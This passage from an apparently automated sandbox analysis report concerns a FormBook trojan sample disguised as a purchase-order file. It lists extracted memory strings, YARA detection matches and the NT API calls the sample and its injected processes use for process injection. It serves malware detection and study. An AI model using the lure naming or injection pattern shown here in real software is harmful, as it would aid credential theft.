          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: explorer.exe, 00000006.00000002.3710443877.00000000071A4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.pollensense.com/

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.3720341858.000000000FC69000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: Request For PO-230102.bat.exe PID: 4948, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: Request For PO-230102.bat.exe PID: 1512, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: cmstp.exe PID: 4816, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A320 NtCreateFile,4_2_0041A320
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A3D0 NtReadFile,4_2_0041A3D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A450 NtClose,4_2_0041A450
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A500 NtAllocateVirtualMemory,4_2_0041A500
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A31B NtCreateFile,4_2_0041A31B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A44A NtClose,4_2_0041A44A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041A4FA NtAllocateVirtualMemory,4_2_0041A4FA
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2B60 NtClose,LdrInitializeThunk,4_2_015E2B60
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_015E2BF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2AD0 NtReadFile,LdrInitializeThunk,4_2_015E2AD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_015E2D10
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2D30 NtUnmapViewOfSection,LdrInitializeThunk,4_2_015E2D30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2DD0 NtDelayExecution,LdrInitializeThunk,4_2_015E2DD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_015E2DF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_015E2C70
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_015E2CA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2F30 NtCreateSection,LdrInitializeThunk,4_2_015E2F30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2FE0 NtCreateFile,LdrInitializeThunk,4_2_015E2FE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2F90 NtProtectVirtualMemory,LdrInitializeThunk,4_2_015E2F90
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2FB0 NtResumeThread,LdrInitializeThunk,4_2_015E2FB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2E80 NtReadVirtualMemory,LdrInitializeThunk,4_2_015E2E80
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,4_2_015E2EA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E4340 NtSetContextThread,4_2_015E4340
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E4650 NtSuspendThread,4_2_015E4650
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2BE0 NtQueryValueKey,4_2_015E2BE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2B80 NtQueryInformationFile,4_2_015E2B80
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2BA0 NtEnumerateValueKey,4_2_015E2BA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2AF0 NtWriteFile,4_2_015E2AF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2AB0 NtWaitForSingleObject,4_2_015E2AB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2D00 NtSetInformationFile,4_2_015E2D00
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2DB0 NtEnumerateKey,4_2_015E2DB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2C60 NtCreateKey,4_2_015E2C60
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2C00 NtQueryInformationProcess,4_2_015E2C00
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2CC0 NtQueryVirtualMemory,4_2_015E2CC0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2CF0 NtOpenProcess,4_2_015E2CF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2F60 NtCreateProcessEx,4_2_015E2F60
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2FA0 NtQuerySection,4_2_015E2FA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2E30 NtWriteVirtualMemory,4_2_015E2E30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2EE0 NtQueueApcThread,4_2_015E2EE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E3010 NtOpenDirectoryObject,4_2_015E3010
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E3090 NtSetValueKey,4_2_015E3090
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E35C0 NtCreateMutant,4_2_015E35C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E39B0 NtGetContextThread,4_2_015E39B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E3D70 NtOpenThread,4_2_015E3D70
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E3D10 NtOpenProcessToken,4_2_015E3D10
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC52E12 NtProtectVirtualMemory,6_2_0FC52E12
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC51232 NtCreateFile,6_2_0FC51232
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC52E0A NtProtectVirtualMemory,6_2_0FC52E0A
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72CA0 NtQueryInformationToken,LdrInitializeThunk,14_2_04E72CA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72C60 NtCreateKey,LdrInitializeThunk,14_2_04E72C60
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72C70 NtFreeVirtualMemory,LdrInitializeThunk,14_2_04E72C70
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72DF0 NtQuerySystemInformation,LdrInitializeThunk,14_2_04E72DF0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72DD0 NtDelayExecution,LdrInitializeThunk,14_2_04E72DD0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72D10 NtMapViewOfSection,LdrInitializeThunk,14_2_04E72D10
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,14_2_04E72EA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72FE0 NtCreateFile,LdrInitializeThunk,14_2_04E72FE0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72F30 NtCreateSection,LdrInitializeThunk,14_2_04E72F30
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72AD0 NtReadFile,LdrInitializeThunk,14_2_04E72AD0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72BE0 NtQueryValueKey,LdrInitializeThunk,14_2_04E72BE0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72BF0 NtAllocateVirtualMemory,LdrInitializeThunk,14_2_04E72BF0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72B60 NtClose,LdrInitializeThunk,14_2_04E72B60
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E735C0 NtCreateMutant,LdrInitializeThunk,14_2_04E735C0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E74650 NtSuspendThread,14_2_04E74650
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E74340 NtSetContextThread,14_2_04E74340
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72CF0 NtOpenProcess,14_2_04E72CF0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72CC0 NtQueryVirtualMemory,14_2_04E72CC0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72C00 NtQueryInformationProcess,14_2_04E72C00
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72DB0 NtEnumerateKey,14_2_04E72DB0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72D30 NtUnmapViewOfSection,14_2_04E72D30
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72D00 NtSetInformationFile,14_2_04E72D00
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72EE0 NtQueueApcThread,14_2_04E72EE0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72E80 NtReadVirtualMemory,14_2_04E72E80
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72E30 NtWriteVirtualMemory,14_2_04E72E30
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72FA0 NtQuerySection,14_2_04E72FA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72FB0 NtResumeThread,14_2_04E72FB0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72F90 NtProtectVirtualMemory,14_2_04E72F90
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72F60 NtCreateProcessEx,14_2_04E72F60
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72AF0 NtWriteFile,14_2_04E72AF0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72AB0 NtWaitForSingleObject,14_2_04E72AB0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72BA0 NtEnumerateValueKey,14_2_04E72BA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E72B80 NtQueryInformationFile,14_2_04E72B80
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E73090 NtSetValueKey,14_2_04E73090
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E73010 NtOpenDirectoryObject,14_2_04E73010
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E73D70 NtOpenThread,14_2_04E73D70
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E73D10 NtOpenProcessToken,14_2_04E73D10
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E739B0 NtGetContextThread,14_2_04E739B0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA3D0 NtReadFile,14_2_02EAA3D0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA320 NtCreateFile,14_2_02EAA320
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA450 NtClose,14_2_02EAA450
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA500 NtAllocateVirtualMemory,14_2_02EAA500
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA31B NtCreateFile,14_2_02EAA31B
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA4FA NtAllocateVirtualMemory,14_2_02EAA4FA
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAA44A NtClose,14_2_02EAA44A
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,14_2_04C7A036
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C79BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,14_2_04C79BAF
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7A042 NtQueryInformationProcess,14_2_04C7A042
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C79BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,14_2_04C79BB2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_012AE1F40_2_012AE1F4
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C74680_2_072C7468
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C32A00_2_072C32A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C328F0_2_072C328F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C10E80_2_072C10E8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C0CB00_2_072C0CB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C08780_2_072C0878
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C28E20_2_072C28E2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_072C28F00_2_072C28F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_08917B300_2_08917B30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_0891D44F0_2_0891D44F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 0_2_08917B220_2_08917B22
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_004010304_2_00401030
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041ED754_2_0041ED75
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00402D904_2_00402D90
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00409E4C4_2_00409E4C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00409E504_2_00409E50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041EE8A4_2_0041EE8A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041D7724_2_0041D772
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041E77C4_2_0041E77C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00402FB04_2_00402FB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016381584_2_01638158
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A01004_2_015A0100
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164A1184_2_0164A118
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016681CC4_2_016681CC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016641A24_2_016641A2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016701AA4_2_016701AA
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016420004_2_01642000
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166A3524_2_0166A352
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016703E64_2_016703E6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE3F04_2_015BE3F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016502744_2_01650274
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016302C04_2_016302C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B05354_2_015B0535
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016705914_2_01670591
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016624464_2_01662446
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016544204_2_01654420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165E4F64_2_0165E4F6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D47504_2_015D4750
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B07704_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AC7C04_2_015AC7C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CC6E04_2_015CC6E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C69624_2_015C6962
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0167A9A64_2_0167A9A6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A04_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BA8404_2_015BA840
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B28404_2_015B2840
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE8F04_2_015DE8F0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015968B84_2_015968B8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166AB404_2_0166AB40
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01666BD74_2_01666BD7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AEA804_2_015AEA80
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BAD004_2_015BAD00
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164CD1F4_2_0164CD1F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AADE04_2_015AADE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C8DBF4_2_015C8DBF
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0C004_2_015B0C00
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0CF24_2_015A0CF2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01650CB54_2_01650CB5
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01624F404_2_01624F40
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01652F304_2_01652F30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D0F304_2_015D0F30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F2F284_2_015F2F28
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A2FC84_2_015A2FC8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BCFE04_2_015BCFE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162EFA04_2_0162EFA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0E594_2_015B0E59
